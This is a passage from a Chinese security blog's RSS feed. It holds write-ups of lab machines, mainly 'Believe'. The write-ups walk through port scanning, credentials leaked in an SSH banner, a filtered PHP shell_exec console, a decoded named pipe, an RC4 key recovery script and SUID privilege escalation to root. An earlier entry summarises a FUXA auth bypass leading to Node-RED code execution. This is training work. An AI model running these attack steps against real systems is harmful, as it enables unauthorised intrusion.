0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;ul&gt;&#10;&lt;li&gt;信息收集：端口 &lt;code&gt;22 80 1881&lt;/code&gt;端口，&lt;code&gt;1881&lt;/code&gt; 的版本泄露出来为：&lt;code&gt;1.2.8-2638&lt;/code&gt;，搜索&lt;code&gt;FUXA&lt;/code&gt;的&lt;code&gt;CVE&lt;/code&gt;公开漏洞并进行验证，发现：&lt;code&gt;CVE-2026-43945&lt;/code&gt; 可以绕过。&lt;/li&gt;&#10;&lt;li&gt;漏洞利用：利用&lt;code&gt;?x=/socket.io&lt;/code&gt;绕过&lt;code&gt;/nodered/*&lt;/code&gt;的权限校验，通过&lt;code&gt;Node-RED&lt;/code&gt;进行远程代码执行。&lt;/li&gt;&#10;&lt;li&gt;反向shell获取立足点：利用&lt;code&gt;Node-RED&lt;/code&gt;执行反向shell的payload，获取立足点。&lt;/li&gt;&#10;&lt;li&gt;系统内部信息收集：&lt;code&gt;.pspy64&lt;/code&gt;查看定时任务，发现可疑定时任务脚本，通过定时任务脚本泄露的硬编码并切换到&lt;code&gt;git&lt;/code&gt;，最后从本地&lt;code&gt;Git&lt;/code&gt;隐藏对象和额外&lt;code&gt;Git&lt;/code&gt;对象库中挖出 root ssh 私钥。&lt;/li&gt;&#10;&lt;li&gt;获取flag：通过ssh私钥进行登录，拿到root权限获取flag。&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2 class="heading-element" id="总结"&gt;&lt;span&gt;总结&lt;/span&gt;&#10; &lt;a href="#%e6%80%bb%e7%bb%93" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;p&gt;从这个靶机引出了些问题：&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;&lt;code&gt;linux&lt;/code&gt; 定时任务，掌握情况不佳&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;5.26 19.27 补了一些这方面的知识&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;差点忘了，bash 脚本 有些也看不懂。&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;从该靶机获得的经验：&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;node js&lt;/code&gt; 框架的网站 版本可能在控制台泄露出来&lt;/li&gt;&#10;&lt;li&gt;最后系统内部的信息收集，各种可能有提权的都查看了，我是真没有想到 &lt;code&gt;.git&lt;/code&gt; 里隐藏了信息，这个靶机拓展了我的思路。&lt;/li&gt;&#10;&lt;/ul&gt;&#10;</description></item><item><title>Believe 复盘</title><link>https://blog.1urkers.cn/p/believe/</link><pubDate>Sat, 23 May 2026 20:31:10 +0800</pubDate><guid>https://blog.1urkers.cn/p/believe/</guid><category domain="https://blog.1urkers.cn/categories/%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%9B%98/">靶机复盘</category><description>&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;作者&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;难度&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;平台&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Gropers&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Easy(我放到easy)&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;mazesec&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;h2 class="heading-element" id="信息收集"&gt;&lt;span&gt;信息收集&lt;/span&gt;&#10; &lt;a href="#%e4%bf%a1%e6%81%af%e6%94%b6%e9%9b%86" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;root@kali:~# nmap 192.168.56.119 -p- &#10;Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-23 05:29 -0400&#10;Nmap scan report for 192.168.56.119&#10;Host is up (0.00055s latency).&#10;Not shown: 65531 closed tcp ports (reset)&#10;PORT STATE SERVICE&#10;22/tcp open ssh&#10;80/tcp open http&#10;2222/tcp open EtherNetIP-1&#10;54321/tcp open unknown&#10;MAC Address: 08:00:27:5A:ED:07 (Oracle VirtualBox virtual NIC)&#10;&#10;Nmap done: 1 IP address (1 host up) scanned in 36.37 seconds&#10;root@kali:~# nmap 192.168.56.119 -p22,80,2222,54321 -sC -sV&#10;Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-23 05:30 -0400&#10;Nmap scan report for 192.168.56.119&#10;Host is up (0.0019s latency).&#10;&#10;PORT STATE SERVICE VERSION&#10;22/tcp open ssh OpenSSH 10.3 (protocol 2.0)&#10;80/tcp open http Apache httpd 2.4.67 ((Unix))&#10;| http-cookie-flags: &#10;| /: &#10;| PHPSESSID: &#10;|_ httponly flag not set&#10;|_http-title: Login&#10;|_http-server-header: Apache/2.4.67 (Unix)&#10;2222/tcp open ssh OpenSSH 10.3 (protocol 2.0)&#10;54321/tcp open ssh OpenSSH 10.3 (protocol 2.0)&#10;MAC Address: 08:00:27:5A:ED:07 (Oracle VirtualBox virtual NIC)&#10;&#10;Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .&#10;Nmap done: 1 IP address (1 host up) scanned in 8.40 seconds&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;当时我并没有扫描全部的接口，只扫到了&lt;code&gt;22/tcp 2222/tcp&lt;/code&gt;，并没有扫到&lt;code&gt;54321/tcp&lt;/code&gt;。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;root@kali:~# dirsearch -u &amp;#34;http://192.168.56.119/&amp;#34;&#10;[05:33:19] 200 - 820B - /cgi-bin/printenv&#10;[05:33:19] 200 - 1KB - /cgi-bin/test-cgi&#10;[05:33:23] 302 - 0B - /dashboard.php -&amp;gt; index.php&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;index.php&lt;/code&gt;为登录界面，访问&lt;code&gt;/dashboard.php&lt;/code&gt;会跳转到&lt;code&gt;index.php&lt;/code&gt;，猜测如果密码正确会跳转到&lt;code&gt;/dashboard.php&lt;/code&gt;。&lt;/p&gt;&#10;&lt;p&gt;尝试爆破&lt;code&gt;admin&lt;/code&gt;密码，&lt;code&gt;5000.txt 10000.txt 20000.txt&lt;/code&gt;都尝试了，并没有起色。&lt;/p&gt;&#10;&lt;p&gt;突破口转向&lt;code&gt;ssh 服务的端口&lt;/code&gt;：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;root@kali:~# ssh root@192.168.56.119 -p 22 &#10;==================================================&#10; admin&#10; yubao9694482664&#10;==================================================&#10;root@192.168.56.119&amp;#39;s password: &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;ll104567当时出题&lt;code&gt;HGBE&lt;/code&gt;，ssh服务就隐藏了一些信息，我这里尝试，确实发现了一些信息。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;POST / HTTP/1.1&#10;Host: 192.168.56.119&#10;Accept: text/html,application/xhtml&amp;#43;xml,application/xml;q=0.9,*/*;q=0.8&#10;Upgrade-Insecure-Requests: 1&#10;Idempotency-Key: &amp;#34;818074399399579628&amp;#34;&#10;Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2&#10;Sec-GPC: 1&#10;Origin: http://192.168.56.119&#10;Cookie: PHPSESSID=ue8uah7leo1tcimbmrc352atj9&#10;Accept-Encoding: gzip, deflate&#10;Referer: http://192.168.56.119/&#10;Content-Type: application/x-www-form-urlencoded&#10;User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0&#10;Priority: u=0, i&#10;Content-Length: 25&#10;&#10;u=admin&amp;amp;p=yubao9694482664&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这里要登录三次才能进入&lt;code&gt;dashboard.php&lt;/code&gt;页面。&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/believe/image-20260523175332668.png' alt="image-20260523175332668" height="386" width="2538"&gt;&lt;/p&gt;&#10;&lt;p&gt;看起来可以进行命令执行，经过多次尝试，发现其只能执行&lt;code&gt;cat 或 ls&lt;/code&gt;命令，用&lt;code&gt;cat&lt;/code&gt;读取&lt;code&gt;/etc/passwd&lt;/code&gt;，没有返回内容，读取&lt;code&gt;yu.txt&lt;/code&gt;有返回内容，到此我还不能确定过滤规则，我把&lt;code&gt;url和phpsessid&lt;/code&gt;发给&lt;code&gt;ai&lt;/code&gt;，&lt;code&gt;ai&lt;/code&gt;用&lt;code&gt;cat&lt;/code&gt;读取了&lt;code&gt;/etc/banner.txt&lt;/code&gt;，我就猜测可能要有&lt;code&gt;.txt&lt;/code&gt;后缀才能读取到。&lt;/p&gt;&#10;&lt;p&gt;&lt;img loading="lazy" src='https://blog.1urkers.cn/p/believe/image-20260523180232324.png' alt="image-20260523180232324" height="1051" width="2418"&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;cat dashboard.php.txt&lt;/code&gt;查看源码：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#10;error_reporting(0);&#10;session_start();&#10;if (isset($_POST[&amp;#39;logout&amp;#39;])) {&#10; session_destroy();&#10; header(&amp;#39;Location: index.php&amp;#39;);&#10; exit;&#10;}&#10;if (!isset($_SESSION[&amp;#39;auth&amp;#39;]) || $_SESSION[&amp;#39;auth&amp;#39;] !== true) {&#10; header(&amp;#39;Location: index.php&amp;#39;);&#10; exit;&#10;}&#10;$r = &amp;#39;&amp;#39;;&#10;if (isset($_POST[&amp;#39;cmd&amp;#39;])) {&#10; $c = trim($_POST[&amp;#39;cmd&amp;#39;]);&#10; if (preg_match(&amp;#39;/^ls(\s&amp;#43;.*)?$/&amp;#39;, $c) || preg_match(&amp;#39;/^cat\s&amp;#43;.*\.txt$/&amp;#39;, $c)) {&#10; if (!preg_match(&amp;#39;/[;|&amp;amp;$&amp;gt;&amp;lt;`\n]/&amp;#39;, $c)) {&#10; $r = shell_exec($c);&#10; }&#10; }&#10;}&#10;?&amp;gt;&#10;&amp;lt;!DOCTYPE html&amp;gt;&#10;&amp;lt;html&amp;gt;&#10;&amp;lt;head&amp;gt;&#10;&amp;lt;meta charset=&amp;#34;utf-8&amp;#34;&amp;gt;&#10;&amp;lt;title&amp;gt;Dashboard&amp;lt;/title&amp;gt;&#10;&amp;lt;style&amp;gt;&#10;body { background: #1e1e1e; color: #00ff00; font-family: monospace; padding: 20px; }&#10;.top-bar { display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px; border-bottom: 1px solid #333; padding-bottom: 10px; }&#10;input[type=&amp;#34;text&amp;#34;] { background: #000; color: #00ff00; border: 1px solid #00ff00; padding: 5px; width: 300px; }&#10;input[type=&amp;#34;submit&amp;#34;] { background: #00ff00; color: #000; border: none; padding: 6px 15px; cursor: pointer; }&#10;.logout-btn { background: #ff0000; color: #fff; border: none; padding: 6px 15px; cursor: pointer; }&#10;pre { background: #000; padding: 15px; border: 1px solid #333; min-height: 50px; }&#10;&amp;lt;/style&amp;gt;&#10;&amp;lt;/head&amp;gt;&#10;&amp;lt;body&amp;gt;&#10;&amp;lt;div class=&amp;#34;top-bar&amp;#34;&amp;gt;&#10; &amp;lt;span&amp;gt;System Console&amp;lt;/span&amp;gt;&#10; &amp;lt;form method=&amp;#34;POST&amp;#34; style=&amp;#34;margin: 0;&amp;#34;&amp;gt;&#10; &amp;lt;input type=&amp;#34;submit&amp;#34; name=&amp;#34;logout&amp;#34; value=&amp;#34;Logout&amp;#34; class=&amp;#34;logout-btn&amp;#34;&amp;gt;&#10; &amp;lt;/form&amp;gt;&#10;&amp;lt;/div&amp;gt;&#10;&amp;lt;form method=&amp;#34;POST&amp;#34;&amp;gt;&#10;&amp;lt;span class=&amp;#34;prompt&amp;#34;&amp;gt;yu@Believe:~$&amp;lt;/span&amp;gt;&#10;&amp;lt;input type=&amp;#34;text&amp;#34; name=&amp;#34;cmd&amp;#34; autofocus autocomplete=&amp;#34;off&amp;#34;&amp;gt;&#10;&amp;lt;input type=&amp;#34;submit&amp;#34; value=&amp;#34;Exec&amp;#34;&amp;gt;&#10;&amp;lt;/form&amp;gt;&#10;&amp;lt;br&amp;gt;&#10;&amp;lt;pre&amp;gt;&amp;lt;?php echo htmlspecialchars($r, ENT_QUOTES, &amp;#39;UTF-8&amp;#39;); ?&amp;gt;&amp;lt;/pre&amp;gt;&#10;&amp;lt;/body&amp;gt;&#10;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;从源码看，只能进行文件读取。&lt;/p&gt;&#10;&lt;p&gt;查看/etc/ssh/sshd_config:&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;Match LocalPort 22&#10; DenyUsers yu&#10; Banner /etc/ssh_banner # 原来这就是提示信息呀&#10;&#10;Match LocalPort 2222&#10; DenyUsers yu # 禁止 yu 登录&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;从这里可以看出，并不允许 &lt;code&gt;yu&lt;/code&gt; 用户在 &lt;code&gt;22 2222&lt;/code&gt;端口登录，所以只能通过&lt;code&gt;54321&lt;/code&gt;端口登录，&lt;code&gt;yu.txt&lt;/code&gt; 也进行了提示。&lt;/p&gt;&#10;&lt;p&gt;ssh 登录，爆破了 &lt;code&gt;5000.txt 10000.txt&lt;/code&gt;，并没有爆破到，最后想到密码复用&lt;code&gt;yubao9694482664&lt;/code&gt;。&lt;/p&gt;&#10;&lt;h2 class="heading-element" id="ssh凭据登录-获取立足点"&gt;&lt;span&gt;SSH凭据登录 获取立足点&lt;/span&gt;&#10; &lt;a href="#ssh%e5%87%ad%e6%8d%ae%e7%99%bb%e5%bd%95-%e8%8e%b7%e5%8f%96%e7%ab%8b%e8%b6%b3%e7%82%b9" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;root@kali:~# ssh yu@192.168.56.119 -p54321&#10;yu@192.168.56.119&amp;#39;s password: &#10; _ &#10;__ _____| | ___ ___ _ __ ___ ___ &#10;\ \ /\ / / _ \ |/ __/ _ \| &amp;#39;_ ` _ \ / _ \&#10; \ V V / __/ | (_| (_) | | | | | | __/&#10; \_/\_/ \___|_|\___\___/|_| |_| |_|\___|&#10;&#10;yu@Believe:~$ id&#10;uid=1000(yu) gid=1000(yu) groups=1000(yu)&lt;/code&gt;&lt;/pre&gt;&lt;h2 class="heading-element" id="系统内部信息收集"&gt;&lt;span&gt;系统内部信息收集&lt;/span&gt;&#10; &lt;a href="#%e7%b3%bb%e7%bb%9f%e5%86%85%e9%83%a8%e4%bf%a1%e6%81%af%e6%94%b6%e9%9b%86" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;yu@Believe:~$ ls -al&#10;total 896&#10;drwx------ 2 yu yu 4096 May 14 15:16 .&#10;drwxr-xr-x 3 root root 4096 May 12 22:10 ..&#10;---------- 1 root root 900520 May 14 11:45 be&#10;-rw-r--r-- 1 yu yu 91 May 14 14:58 hint.txt&#10;-rw-r--r-- 1 yu yu 22 May 14 01:13 user.txt&#10;yu@Believe:~$ cat hint.txt&#10;The walls have ears, and the logs have a heartbeat.&#10;it keeps whispering the truth. Just...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;ai&lt;/code&gt; 翻译 :&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;隔墙有耳，而日志像有生命一样在跳动。&#10;它一直在悄悄吐露真相，只是……&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;yu@Believe:~$ ls -al /var/log&#10;total 388&#10;drwxr-xr-x 4 root root 4096 May 23 09:59 .&#10;drwxr-xr-x 13 root root 4096 May 8 10:51 ..&#10;drwx--x--x 2 yu yu 4096 May 14 14:50 .hidden&#10;-rw-r----- 1 root wheel 126 May 23 14:10 acpid.log&#10;drwxr-s--- 2 apache apache 4096 Feb 25 19:46 apache2&#10;-rw-r--r-- 1 root root 2103 May 12 21:07 apk.log&#10;-rw-r--r-- 1 root root 0 May 8 10:56 auth.log&#10;-rw-r--r-- 1 root root 0 May 8 10:56 btmp&#10;-rw-r--r-- 1 root root 0 May 8 10:56 cron.log&#10;-rw-r----- 1 root root 29653 May 23 16:07 dmesg&#10;-rw-r--r-- 1 root root 0 May 8 10:56 faillog&#10;-rw-r--r-- 1 root root 0 May 8 10:56 lastlog&#10;-rw-r----- 1 root wheel 127116 May 23 18:33 messages&#10;-rw-r----- 1 root wheel 204870 May 23 09:59 messages.0&#10;-rw-r--r-- 1 root root 0 Apr 25 18:31 secure&#10;-rw-r--r-- 1 root root 0 Apr 25 18:31 syslog&#10;-rw-rw-r-- 1 root utmp 0 May 8 10:56 wtmp&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;可以看到&lt;code&gt;.hidden&lt;/code&gt;。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;yu@Believe:~$ cd /var/log/.hidden&#10;yu@Believe:/var/log/.hidden$ ls -al&#10;total 8&#10;drwx--x--x 2 yu yu 4096 May 14 14:50 .&#10;drwxr-xr-x 4 root root 4096 May 23 09:59 ..&#10;pr-------- 1 yu yu 0 May 23 18:38 .ghost_radio&#10;# p 命名管道（FIFO / named pipe）, 命名管道通常不会保存静态内容，而是等另一端进程持续往里写。&#10;yu@Believe:/var/log/.hidden$ cat .ghost_radio &#10;i&amp;gt;b&#10;i&amp;gt;grep&#10;i&amp;gt;e&#10;i&amp;gt;grep&#10;i&amp;gt;l&#10;i&amp;gt;grep&#10;i&amp;gt;i&#10;i&amp;gt;grep&#10;i&amp;gt;e&#10;i&amp;gt;grep&#10;i&amp;gt;v&#10;i&amp;gt;grep&#10;i&amp;gt;e&#10;i&amp;gt;grep&#10;i&amp;gt;b&#10;i&amp;gt;grep&#10;i&amp;gt;e&#10;i&amp;gt;grep&#10;i&amp;gt;l&#10;i&amp;gt;grep&#10;i&amp;gt;i&#10;i&amp;gt;grep&#10;i&amp;gt;e&#10;i&amp;gt;grep&#10;i&amp;gt;v&#10;i&amp;gt;grep&#10;i&amp;gt;e&#10;i&amp;gt;grep&#10;i&amp;gt;b&#10;i&amp;gt;grep&#10;i&amp;gt;e&#10;i&amp;gt;grep&#10;i&amp;gt;l&#10;i&amp;gt;grep&#10;i&amp;gt;i&#10;i&amp;gt;grep&#10;i&amp;gt;e&#10;i&amp;gt;grep&#10;i&amp;gt;v&#10;i&amp;gt;grep&#10;i&amp;gt;e&#10;i&amp;gt;grep&#10;i&amp;gt;b&#10;i&amp;gt;grep&#10;i&amp;gt;e&#10;i&amp;gt;grep&#10;i&amp;gt;l&#10;i&amp;gt;grep&#10;i&amp;gt;i&#10;i&amp;gt;grep&#10;i&amp;gt;e&#10;i&amp;gt;grep&#10;# 观察规则&#10;i&amp;gt;b&#10;i&amp;gt;grep&#10;i&amp;gt;e&#10;i&amp;gt;grep&#10;i&amp;gt;l&#10;i&amp;gt;grep&#10;i&amp;gt;i&#10;i&amp;gt;grep&#10;i&amp;gt;e&#10;i&amp;gt;grep&#10;i&amp;gt;v&#10;i&amp;gt;grep&#10;i&amp;gt;e&#10;i&amp;gt;grep&#10;# 这是一个循环&#10;i&amp;gt;单个字符&#10;i&amp;gt;grep&#10;# 把单个字符组合起来&#10;b e l i e v e&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;当然这里也可以使用 &lt;code&gt;ps auxww&lt;/code&gt;（&lt;code&gt;LNNN&lt;/code&gt; 学习到的），查看到底是哪个命令再给 &lt;code&gt;.ghost_radio&lt;/code&gt; 文件写入内容。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;yu@Believe:/var/log/.hidden$ sudo -l&#10;Matching Defaults entries for yu on Believe:&#10; secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin&#10;&#10;Runas and Command-specific defaults for yu:&#10; Defaults!/usr/sbin/visudo env_keep&amp;#43;=&amp;#34;SUDO_EDITOR EDITOR VISUAL&amp;#34;&#10;&#10;User yu may run the following commands on Believe:&#10; (root) NOPASSWD: /root/be&#10;yu@Believe:~$ sudo /root/be&#10;验证密钥（*******）: &lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这里要输入密钥，密钥就是&lt;code&gt;believe&lt;/code&gt;。&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;yu@Believe:~$ sudo /root/be&#10;验证密钥（*******）: believe&#10;密钥正确&#10;yu@Believe:~$ ls -al&#10;total 896&#10;drwx------ 2 yu yu 4096 May 14 15:16 .&#10;drwxr-xr-x 3 root root 4096 May 12 22:10 ..&#10;-rwsr-xr-x 1 root root 900520 May 14 11:45 be&#10;-rw-r--r-- 1 yu yu 91 May 14 14:58 hint.txt&#10;-rw-r--r-- 1 yu yu 22 May 14 01:13 user.txt&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;可以看到 &lt;code&gt;be&lt;/code&gt; 从 &lt;code&gt;----------&lt;/code&gt; 变为 &lt;code&gt;-rwsr-xr-x&lt;/code&gt;，它具有了&lt;code&gt;suid&lt;/code&gt;位，可以提权。&lt;/p&gt;&#10;&lt;h2 class="heading-element" id="权限提升"&gt;&lt;span&gt;权限提升&lt;/span&gt;&#10; &lt;a href="#%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87" class="heading-mark"&gt;&lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&lt;p&gt;可以说我对于逆向分析，屁都不懂，这一步是&lt;code&gt;ai&lt;/code&gt;梭哈出来的，贴个脚本吧：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;def rc4(key: bytes, data: bytes) -&amp;gt; bytes:&#10; s = list(range(256))&#10; j = 0&#10;&#10; for i in range(256):&#10; j = (j &amp;#43; s[i] &amp;#43; key[i % len(key)]) &amp;amp; 0xff&#10; s[i], s[j] = s[j], s[i]&#10;&#10; i = 0&#10; j = 0&#10; out = bytearray()&#10;&#10; for b in data:&#10; i = (i &amp;#43; 1) &amp;amp; 0xff&#10; j = (j &amp;#43; s[i]) &amp;amp; 0xff&#10; s[i], s[j] = s[j], s[i]&#10; k = s[(s[i] &amp;#43; s[j]) &amp;amp; 0xff]&#10; out.append(b ^ k)&#10;&#10; return bytes(out)&#10;&#10;&#10;# 程序里写死的目标密文&#10;target = bytes.fromhex(&#10; &amp;#34;24 53 27 50 78 4B 9D AB AB 7E F0 A1 49 F2 EA 7E EC 6C 82 77&amp;#34;&#10;)&#10;&#10;# 实际解题时验证可用的 key&#10;key = b&amp;#34;believe&amp;#34;&#10;&#10;plaintext = rc4(key, target)&#10;print(&amp;#34;key =&amp;#34;, key.decode())&#10;print(&amp;#34;plaintext =&amp;#34;, plaintext.decode())&#10;&#10;# 输出：&#10;key = believe&#10;plaintext = Believe_in_yourself!&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;权限提升：&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;yu@Believe:~$ ./be&#10;请输入系统密钥: Believe_in_yourself!&#10;验证成功。&#10;[&amp;#43;] 正在请求 Believe 核心权限...&#10;Believe:/home/yu# id&#10;uid=0(root) gid=0(root) groups=1000(yu)&#10;Believe:/home/yu# &lt;/code&gt;&lt;/pre&gt;</description></item></channel></rss>